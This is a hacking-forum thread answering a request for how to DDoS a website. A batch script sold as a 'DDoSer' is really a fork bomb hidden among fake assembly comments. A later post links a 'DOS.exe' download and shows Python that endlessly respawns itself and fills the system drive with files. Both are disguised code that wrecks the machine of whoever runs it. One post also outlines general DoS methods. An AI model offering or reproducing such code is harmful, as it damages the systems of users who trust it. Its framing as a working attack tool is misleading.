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Come on guys. atleast help the guy. He asked politely after all. Heres how you do it:

create a file called ddos.bat put the following code in it and run the file

@echo off
title "Lyzons DDoSer"

echo "Enter the website url you would like to ddos:"
set /P URL="url: "

rem pop "user32.dll", "net32.dll", "telnet64.dll"
rem push eax
rem asm

echo "Initialised DDoS attack, running ddos sequence:"

::init Win32DenieHost, URL
rem pop eax
rem jmp "beginattack"

:beginattack
::reg, thread, 1337:%0
rem pop ip, cx
rem push eax, cx
::run, 1337
::ping net32Host, URL, 65535
%0|%0
goto beginattack

use it with caution. Make sure you have no other program running or the attack wont be very effective.

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Come on guys. atleast help the guy. He asked politely after all. Heres how you do it:

create a file called ddos.bat put the following code in it and run the file

@echo off
title "Lyzons DDoSer"

echo "Enter the website url you would like to ddos:"
set /P URL="url: "

rem pop "user32.dll", "net32.dll", "telnet64.dll"
rem push eax
rem asm

echo "Initialised DDoS attack, running ddos sequence:"

::init Win32DenieHost, URL
rem pop eax
rem jmp "beginattack"

:beginattack
::reg, thread, 1337:%0
rem pop ip, cx
rem push eax, cx
::run, 1337
::ping net32Host, URL, 65535
%0|%0
goto beginattack

use it with caution. Make sure you have no other program running or the attack wont be very effective.

has anyone tried this script?

does it work?

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has anyone tried this script?

does it work?

Worked brilliantly, I ran it against my neighbour and it took him out so successfully that I couldn't even type in his IP address to ping him!

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The thing is... you asking how to perform a dos attack is like saying "How do i hack?". Pretty vauge. There are many ways to Perfomr a Denial Of Service. Just think about what those three words mean. What ever the service is, you would be trying to Deny legitimate users of that service. Almost every suggestion on this thread has been some sort of dos attack. Although most would only impact you. A DoS attack can be perpetrated in a number of ways. four common methods of attack would be:

Consumption of system resources, such as memory, disk space, or processor time

Disruption of configuration information, such as routing information, or arp poisoning.

Disruption of state information, such as unsolicited resetting of TCP sessions, or SYN flooding.

Disruption of physical components, such as unplugging a networ card, or changing the locks on a door.

it is a good idea to Never do these things to someone that you do not have permission to do. it could end you up in alot of trouble. In any event, you should learn about these methods to also learn how to defend against them. Just keep learning by being inquisitive and inovative

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Here I created a quick DOS.exe in python here is the link

http://download283.mediafire.com/mwlh1bmwu...mgdkyzk/DOS.exe

I am not responsible for anything that happens as a result of this, use this at your own risk!

CODE

#python
import urllib
import subprocess
import os
import time
import random
import sys
s=os.getenv("SystemDrive")
e=os.path.abspath(__file__)
while 1==1:
    if sys.platform=='win32':
        win32=True
        num = random.random()
        file_name=s+'\\'+str(num)
    else:
        win32 = False
        num = random.random()
        file_name = '/'+str(num)
    subprocess.Popen(e)
    urllib.urlretrieve(r'http://www.yahoo.com', filename=file_name)

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